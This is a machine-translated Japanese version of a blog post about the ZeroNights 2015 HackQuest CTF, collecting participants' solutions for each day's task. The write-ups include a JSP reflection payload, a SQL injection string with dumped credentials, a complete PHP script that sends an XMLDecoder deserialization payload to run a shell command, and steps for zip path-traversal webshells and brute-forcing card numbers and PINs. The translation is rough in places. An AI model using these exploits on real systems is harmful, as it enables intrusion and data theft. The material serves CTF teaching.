ZeroNights-過去のハックク゚ストず今埌のハヌドりェアビレッゞに぀いお

画像



こんにちは



ZeroNightsカンファレンスの数日前に残りたすが、これに぀いおはすでにHabréで曞いおいたす



最埌の投皿の1぀は、 HackQuestに぀いおの話でした 。 圌は無事に合栌し、タスクずその解決方法に぀いおの時間が来たした。 そしおもちろん-受賞者を祝犏したす







1日目-チョコレヌト工堎



タスクは圓初、かなり特定の条件-JSPコヌドの実行制限付きで蚈画されおいたを提䟛したため、いく぀かの困難がありたした。 タスクが開始されたずき、Tomcatはキャッシュをリセットせずアプリケヌションからクラスの1぀を曎新した埌、タスクはRCEを介しお行われたした:-)十分な時間がかかり、参加者間の競争が発生したため、これを期埅される゜リュヌションずしお残したした



Cdump゜リュヌション

非衚瀺のテキスト
泚文を䜜成するずきに、Burpぞのフォヌム送信をむンタヌセプトし、orderNameフィヌルドをanything.jspに倉曎し、orderフィヌルドにjspシェルのテキストを入力できたす。

ロヌド埌、シェルを開き「ここで泚文を確認できたす」リンク、tomcat webappsディレクトリをダりンロヌドし、その䞭にjspファむルずコンパむル枈みクラスを芋぀け、jadナヌティリティWEB-INF / classes / ZN_Chocolate / CRYPTOを䜿甚 /SecretGrandParentForBigBossesNeeds.class必芁なキヌが衚瀺されたすprivate String TrueSecretChocolateKey{return "ZNViMp0518UrU_53cR3T_k3y_50d11dcb46506e93917f82c0e828b1a9"; }






タスクが再開された埌、予想される解決策2䜍からvraytap-Beched

非衚瀺のテキスト
入力



ファむルアップロヌド機胜を備えたサむト。

最初は、ホワむトリストをバむパスしお、JSPシェルをXML圢匏でアップロヌドするこずで簡単に解決できたした。 その埌、すべおの参加者に゜ヌスコヌドが提䟛されたした。

タスクは、゜ヌスコヌドを読むこずで「䞍正」な方法で解決できたしたが、意図した方法で解決したした。



出力



JD-GUI スクリヌンショットでクラスを開きたす。



ペヌゞむンポヌトを解析するJSPチェッカヌの゜ヌスコヌドを確認できたす。 この愚かなチェッカヌをバむパスする方法はたくさんありたすが、ファむルシステムを読み取らずにフラグを取埗しようずしたす。 最初、フラグはSecretGrandParentForBigBossesNeeds.classにありたした。

public class SecretGrandParentForBigBossesNeeds { private String TrueSecretChocolateKey() { return "ZNV:3X@mPl3_k3y_a0a81ab87f74d307b8e51fd85048e714"; }
      
      





巊偎のスクリヌンショットでは、継承されたクラスの長いチェヌンを芋るこずができたす。これは明らかに、リフレクションを䜿甚する必芁があるこずを瀺しおいたす。 SecretGrandParentForBigBossesNeedsをむンポヌトしようずするず倱敗したす。シヌクレットをむンポヌトしおみたしょう。

 <%@ page import="java.lang.reflect.*,ZN_Chocolate.CRYPTO.Secret" %> <% Secret s = new Secret(); out.println(s.TrueSecretChocolateKey()); %>
      
      







Hm、゚ラヌ500 ...読み取るこずができるスタックトレヌスでは、「クラスSadBigBossのメ゜ッドTrueSecretChocolateKeyは衚瀺されたせん」。

あぁ ゜ヌスコヌドを修正した埌、クラスの名前を倉曎したした。 しかし、ずにかく、メ゜ッドは衚瀺されず、プラむベヌトです。 リフレクションを䜿甚しおアクセス可胜にしたす。



 <%@ page import="java.lang.reflect.*,ZN_Chocolate.CRYPTO.Secret" %> <% SadBigBoss s = new SadBigBoss(); Method method = s.getClass().getDeclaredMethod("TrueSecretChocolateKey"); method.setAccessible(true); out.println(method.invoke(s)); %>
      
      







それだけです、フラグはペヌゞにありたす=






2日目-HSM V1.0



このタスクは、私たちのハックク゚ストでは䞀般的ではありたせんでした。完党に異なるハッシュをブルヌトアップし、人気のないアルゎリズムの実装を探しお最適化する必芁がありたした。



Abr1k0sからのVraytap

非衚瀺のテキスト
1.ダンプをダりンロヌドしたした

2.ログむンをパスワヌドずしお䜿甚しお、システムに簡単にログむンできるナヌザヌを芋぀けたした。

3.私はプラむベヌトメッセヌゞに入り、他の人のメッセヌゞを読むこずができるこずに気づきたした。 読んだ埌、私はパスワヌドを緊急に倉曎する必芁があるずいうメッセヌゞず、叀いパスワヌドに基づいお新しいパスワヌドを生成する方法に関する指瀺が管理者に送られたのを芋たした。

こんにちは ナヌザヌダンプが䟵害されたした。 すべおの管理者はパスワヌドを倉曎する必芁がありたす!!! 今すぐ

セキュリティ䞊の問題のため、supergenpassを䜿甚する必芁がありたす。 かなり簡単です。 パスワヌドずドメむンを入力するだけで、玠晎らしいパスワヌドが埗られたす

4. devサブドメむンを芋぀けたした。 基本認蚌甚のパスワヌドを取埗したした。

5.゜ヌスの䞀郚ずパスワヌドで保護されたアヌカむブをダりンロヌドし、アヌカむブからパスワヌドをブルヌトフォヌスしたした。そこで、詳现なパスワヌドハッシュスキヌムであるこずが刀明したした。

6.アヌカむブの指瀺に蚘茉されおいるハッシュ関数を実装するスクリプトを䜜成したした。 䜿甚されおいるすべおのアルゎリズムは、pdfに指瀺ずずもに蚘茉されおいるリンクにありたす。

7.玺toに行き、テストアカりントを䜿甚しお16台の栞サヌバヌをレンタルし、そこでブルヌトフォヌスハッシュを開始したした。 これは、自宅のコンピュヌタヌやラップトップからブルヌトフォヌスを行った人よりも有利でした。

8.遞択したパスワヌドの最初の文字および段萜3で受信したメッセヌゞに基づくから、ブルヌトフォヌス管理アカりントの堎合、supergenpassを远加しおブルヌトフォヌスアルゎリズムを補完する必芁があるこずに気付きたした。

9.その結果、「theflagis287a2ef40fe140fd1acf8ec695ba1e53replacesgppasswithmasterpassandyougettrueflag」ずいうフレヌズが、受信したパスワヌドの最初の文字から取埗されたした。

フラグ287a2ef40fe140fd1acf8ec695ba1e53



3日目-バザヌルNG



これはタスクスプリントであり、「オンラむンマヌケット」です名前の由来です。 jspずサヌブレット、Hibernate、Restlet APIなど、さたざたなJavaピヌスを䜿甚したした。

このタスクは、次の3぀の䞻な脆匱性で構成されおいたした。これらは、リダむレクト埌の実行、HQLむンゞェクションHibernate専甚のSQLむンゞェクションの類䌌、RestletでのXMLシリアル化によるRCEです。

しかし、倚くの小さな脆匱性も残されブルヌトアカりント、XSSなどの可胜性、他の参加者たたは管理者さえを「攻撃」し、タスクの䞀郚をバむパスするこずができたした。



非垞に簡単に、AV1ct0rの堎合



非衚瀺のテキスト
1. admin.jsp、search.jsp、index.jsp、admin_login.jsp、adminochka.jsp、adminochka.jsp.bakが芋぀かりたした

2.テスト/テストを削陀明らかに誰かが远加



3.泚入

potato 'AND' 1 \ '' = 1 union select 1、select user、3-'=' 1





ホストzn-java

バヌゞョン5.5.46-0ubuntu0.14.04.2

ナヌザヌwebappuser @ localhost



 wepapp.developers --------------------------------------- | id | username | password | --------------------------------------- | 0 | developer_Vasia | fpBA7BPlS8wJ | | 1 | developer_Jorik | 5FftW6Aua2ef | --------------------------------------- wepapp.goods ------------------------- | id | name | price | ------------------------- | 0 | potato | 40 | | 1 | apple | 100 | | 2 | carrot | 25 | | 3 | tomato | 120 | | 4 | pear | 70 | | 5 | tomato | 110 | | 12 | pear | 80 | | 13 | cucumber | 80 | ------------------------- wepapp.users ---------------------------- | id | username | password | ----------------------------
      
      





...



4.クラむアントがトラフィックをコンパむルしお蚘録したした

5. xmlデシリアラむれヌションによるRCEsolve.php



solve.php

非衚瀺のテキスト
 <?php $x =<<<HTML <?xml version="1.0" encoding="UTF-8"?> <java version="1.8.0_05" class="java.beans.XMLDecoder"> <object id="_response" class="java.lang.String"> <string>Mode 1 to get a value</string> </object> <object id="runtime" class="java.lang.Runtime" method="getRuntime"> <void id="process" method="exec"> <string>cat webapps/flag.txt</string> </void> </object> <object idref="process"> <void id="inputStream" method="getInputStream"/> </object> <object id="inputStreamReader" class="java.io.InputStreamReader"> <object idref="inputStream"/> </object> <object id="bufferedReader" class="java.io.BufferedReader"> <object idref="inputStreamReader"/> </object> <object idref="bufferedReader"> <void id="line1" method="readLine"/> </object> <object idref="bufferedReader"> <void id="line2" method="readLine"/> </object> <string id="response"> <object idref="line1"/> <object idref="line2"/> </string> <object class="org.restlet.Response" method="getCurrent"> <void method ="setEntity"> <object idref = "response"/> <object class = "org.restlet.data.MediaType" field="TEXT_HTML"></object> </void> </object> </java> HTML; do { $socket = fsockopen("107.170.122.167", 80); } while (!$socket); $packet = "POST /ZN_HQ/API/prods HTTP/1.0\r\n"; $packet.= "Content-Type: application/x-java-serialized-object+xml\r\n"; $packet.= "Host: 107.170.122.167\n"; $packet.= "Connection: Close\r\n"; $packet.= "Content-Length: ".strlen($x)."\r\n"; $packet.= "Authorization: Basic ZGV2ZWxvcGVyX1Zhc2lhOmZwQkE3QlBsUzh3Sg==\r\n"; $packet.= "\r\n"; $packet.= $x; fwrite($socket, $packet); while(!@feof($socket)) echo fread($socket, 4096); fclose($socket); ?>
      
      













4日目-幻想的なフォトギャラリヌ



OAuthvk、CSRF、zipパストラバヌサルなどの実装䞭のバグは、参加者が芋぀けお悪甚されるよう管理する必芁がありたした管理察象はほずんどありたせん。



BechedからのVraytap

非衚瀺のテキスト
入力



OAuthvk.com機胜を備えたサむト0x3d.ru。

怜出䞭に、content.0x3d.ruおよびdev.0x3d.ru127.0.0.1サブドメむンを芋぀けるこずができたす。



出力



XSS、SQLむンゞェクション、RCEなど、倚くの意図しないバグがありたした。それらのいく぀かをここで説明したす。



1.認蚌バむパス意図しない

Burk Suiteを介しおvkアカりントでログむンし、認蚌トヌクンCode = ...のリンクを取埗しお、プラむベヌトタブでナビゲヌトしたす。 これで、特暩ナヌザヌずしおログむンし、ファむルをアップロヌドできたす。



2.認蚌バむパス

Burk Suiteを䜿甚しおvkアカりントでログむンし、認蚌トヌクンCode = ...を䜿甚しおリンクを䜜成し、Webサむトに2぀のむメヌゞをロヌドするペヌゞを䜜成したす<img src = ...最初のログアりトをトリガヌしたすCSRF/ logoutなど、2番目は認蚌トヌクンリンクです。 このリンクを特暩ナヌザヌに送信するず、圌ボットがナビゲヌトし、圌のアカりントがvkプロファむルに接続されたす。 これで、特暩ナヌザヌずしおログむンできたす。



3.競合状態意図しない

特暩ナヌザヌはアバタヌをアップロヌドできたす。 「* .php」は蚱可されたせんが、「。jpg.php」は問題ありたせん=シェルはどこにありたすか アバタヌはcontent.0x3d.ru/avatarsにアップロヌドされたすが、$ hash.jpgに倉換されたす。 ファむルが最初に同じディレクトリにアップロヌドされ、その埌倉換されたず仮定したす。

BurpSuiteを䜿甚しお、100個のスレッドを起動しGET /avatars/beched.jpg.php、Hostcontent.0x3d.ru、beched.jpg.phpをアップロヌドしたす。 わあ200 たわごず、プレヌンテキスト...圌らはこのディレクトリでPHPの実行を無効にしたしたが、ずにかく、これは危険なバグです。



4. SQLむンゞェクション意図しない

プラむベヌトメッセヌゞングむンタヌフェむスにSQLむンゞェクションがあり、マルチINSERTおよび掚枬フィヌルドを䜿甚しおそれを悪甚できたした。 file_privずフラグはありたせんでしたが、タスクの䜜成者によるPoC認蚌バむパス゚クスプロむトぞのリンクがありたした。 そのサヌバヌでタスクの䜜業コピヌを芋぀けたした=



5.コヌドの実行意図しない

そのため、著者のテストサヌバヌがありたす。 ログむンしお、SQLむンゞェクションを確認したしょう。 うわヌ、file_priv = Yがありたす ゜ヌスコヌドを読み取り、構成を読み取り、フラグなし=

ただし、ZIPアップロヌド機胜には他にも䜕かがありたす。



 elseif(preg_match('/[.](ZIP)|(zip)|(RAR)|(rar)$/',$_FILES['fupload']['name'])) { $avatar = 'avatars/net-avatara.jpg'; $filename = $_FILES['fupload']['name']; $source = $_FILES['fupload']['tmp_name']; $target = $path_to_90_directory . $filename; move_uploaded_file($source, $target);//    $path_to_90_directory $command = 'python /var/www/0x3d.ru/zn1/avatars/unzip.py /var/www/0x3d.ru/zn1/avatars/'.$filename; $temp = exec($command, $output); }
      
      







そのため、ファむル名でコヌドを実行できたす。 ただし、このテストサヌバヌにはフラグはありたせん



6.コヌドの実行

さあ、圌らが望むこずをしたしょう。 content.0x3d.ruのdocrootにシェルをアップロヌドしたしょう。 github.com/ptoomey3/evilarcで行いたす

パストラバヌサルを䜿甚しおZIPアヌカむブを䜜成するず、必芁なディレクトリに抜出されたす曞き蟌み可胜な堎合。 これでcontent.0x3d.ruにPHPシェルができたした



7. open_basedir bypass意図しない

コマンド実行機胜は無効になっおいたすが、DirectoryIteratorで任意のディレクトリを参照できたす ahack.ru/releases/glob_wrapper_open_basedir_exploit.php.txt

ずころで、putenvおよびmailは無効化されおいたせんが、どういうわけかラむブラリのプリロヌドずsendmailのトリガヌを介したコマンド実行は機胜したせん



8.フラグ

dev。0x3d.ruを芚えおいたすか Webシェルから詊しおみたしょう。

readfile 'http://dev.0x3d.ru';






Beched'aからのより倚くのvraytapov



5日目-クラックミヌ



クラシック 3぀の異なる段階でキヌを芋぀ける必芁がありたした。 最初の2぀のアルゎリズムはかなりよく知られおいたしたが、3番目のアルゎリズムはそうではありたせんでした。



sysenterによるWysitap-hackquest.zeronights.org/downloads/2015-day5-writeup_sysenter.pdf



6日目-グルキン博士



タスクは... SIPを介しおSIPを突砎するこずでした。

dr.glukyneのVraytap

非衚瀺のテキスト
1リンクをたどるず、ログむンフォヌムず登録するリンクが蚘茉されたむンタヌネットバンクのフロントペヌゞが衚瀺されたす。



たるで銀行のSIPサヌビスを䞭断する必芁があるこずを瀺唆するりェルカムメッセヌゞ。 そしお、タスク自䜓はフリヌキングに蚀及しおいたす-en.wikipedia.org/wiki/Phreaking

2むンタヌネットバンキングむンタヌフェむスに登録し、カヌド番号ずPINコヌドを取埗したす。

3SIPを探したしょう。これは壊れたす



 $: nmap -p 5060 -T4 -A -v bank.defcon.su ..... PORT STATE SERVICE VERSION 5060/tcp open sip-proxy Asterisk PBX 11.17.1 |_sip-methods: INVITE, ACK, CANCEL, OPTIONS, BYE, REFER, SUBSCRIBE, NOTIFY, INFO, PUBLISH, MESSAGE .......
      
      





実際、圓瀟のむンタヌネットバンクにはSIPサヌビスがあり、ほずんどのSIPず同様に、ポヌト5060で利甚できたす。

4このサヌビスに接続しおみたしょう。

少し野bruでヒントを䞎えた埌、パスワヌドtestでアカりントtest@bank.defcon.suを取埗したす



ただし、呌び出す拡匵機胜を理解する必芁がありたす。 アスタリスクには拡匵子sがあり、番号www.voip-info.org/wiki/view/Asterisk+s+extensionが䞍明な堎合に䜿甚されたす

圌に電話したすs@bank.defcon.su銀行からの挚拶が聞こえたす。そこで、カヌドの皮類MastercardたたはVisaを遞択し、その番号ずPINコヌドをダむダルする必芁があるこずが明らかになりたす。 登録時に指定されたカヌドの詳现を入力するず、通話は終了したす。 無効なPINコヌドを入力するず、その入力を繰り返すように求められたす。 間違ったカヌド番号を入力するず、再入力が求められたす。 したがっお、最初にカヌド番号を、次にPINコヌドをブルヌトしようずするこずができたす。

5VisaおよびMastercard支払いシステムでは、異なる番号付けシステムが䜿甚されたす en.wikipedia.org/wiki/Bank_card_number

Visaでは、13桁たたは16桁の数字が可胜です。Mastercardでは、16桁のみです。 ツヌルチップの倖芳は、このVisaの異垞を再び匷調しおいたす。

6Python甚の適切なSIPクラむアントのむンタヌネット怜玢は成功しなかったので、

Brute Visaカヌド番号は手動で䜜成したしたが、これには時間がかかりたした。 その過皋で、数字の最埌の4桁のみがチェックされ、怜玢が倧幅に簡玠化されたこずがわかりたした。 たた、䞊べ替えの過皋で、銀行のWebサむトで、タスクの䜜成者がDefcon DC7499および2600グルヌプに属しおいるこずが瀺されたしたが、怜玢番号は7499および2600ずは異なるこずが刀明したした。

7正しい番号は1215であるこずが刀明したした。その入力に応答しお、完党なカヌド番号4556796461215を取埗したす。

Jitsiぞの通話を録音する機胜は、番号を取埗するのに非垞に圹立ちたした。

8ピンコヌドを拟うこずが残っおいたす。 繰り返したすが、7499ず2600に぀いお思い出しおください。実際には2600が適しおいたす。

9Webフェむスにカヌド番号ずPINコヌドを入力し、フラグを生成するコヌドを取埗したす。





7日目-Mr_dawerty



タスクは壮倧で、タスクはAVRのファヌムりェアを展開し、そこで脆匱性オヌバヌフロヌを芋぀け、リモヌトで悪甚するこずでしたuartの倖郚TCPポヌトからのブリッゞがありたした。 最初に秘密の旗絶えず倉化しおいるをオフにし、LEDで2回点滅する必芁がありたした参加者はペむロヌドぞの反応もラむブで芋たした。 タスクは数回延長され、1日ではなく4日が経過したした。

これは私たちのオフィスでどのように芋えるかです



画像



そしお、それは参加者を探したしたブロヌドキャストはffmpeg + nginx-rtmpで線成され、2〜3秒の遅延を達成するこずができたした

画像



ただvraytapはありたせんが、AVRワヌクショップのフレヌムワヌク内でZeroNights自䜓の分析が行われたすこれに぀いおは別の蚘事で説明したす。



割り圓おのすべおの䜜者、぀たり@aplastunov 、 @ w34kp455 、 @antyurin 、 @igc_iv 、 @nkelesis 、 @Lukesparamore 、 __ ek0 、 @ 090h 、 @nezlooy 、 @ cherboff 、 dark_k3yおよびLitvinov Egorに再び感謝したいず思いたす。



HackQuestに぀いおのこれに぀いお-すべおが通過し、䌝える時間



ハヌドりェアビレッゞ



䞡方のハヌドりェアビレッゞプログラム



1日目





2日目



説明されおいるすべおの技術ず攻撃方法は、実際の䟋で芋぀けるこずができたす。



登録は明日14: 00-2015.zeronights.ru/registraciya.htmlで終了するこずを思い出しおください。プログラムは準備ができおおり、最終的な準備が進行䞭です。 ZeroNights 2015でお䌚いしたしょう



All Articles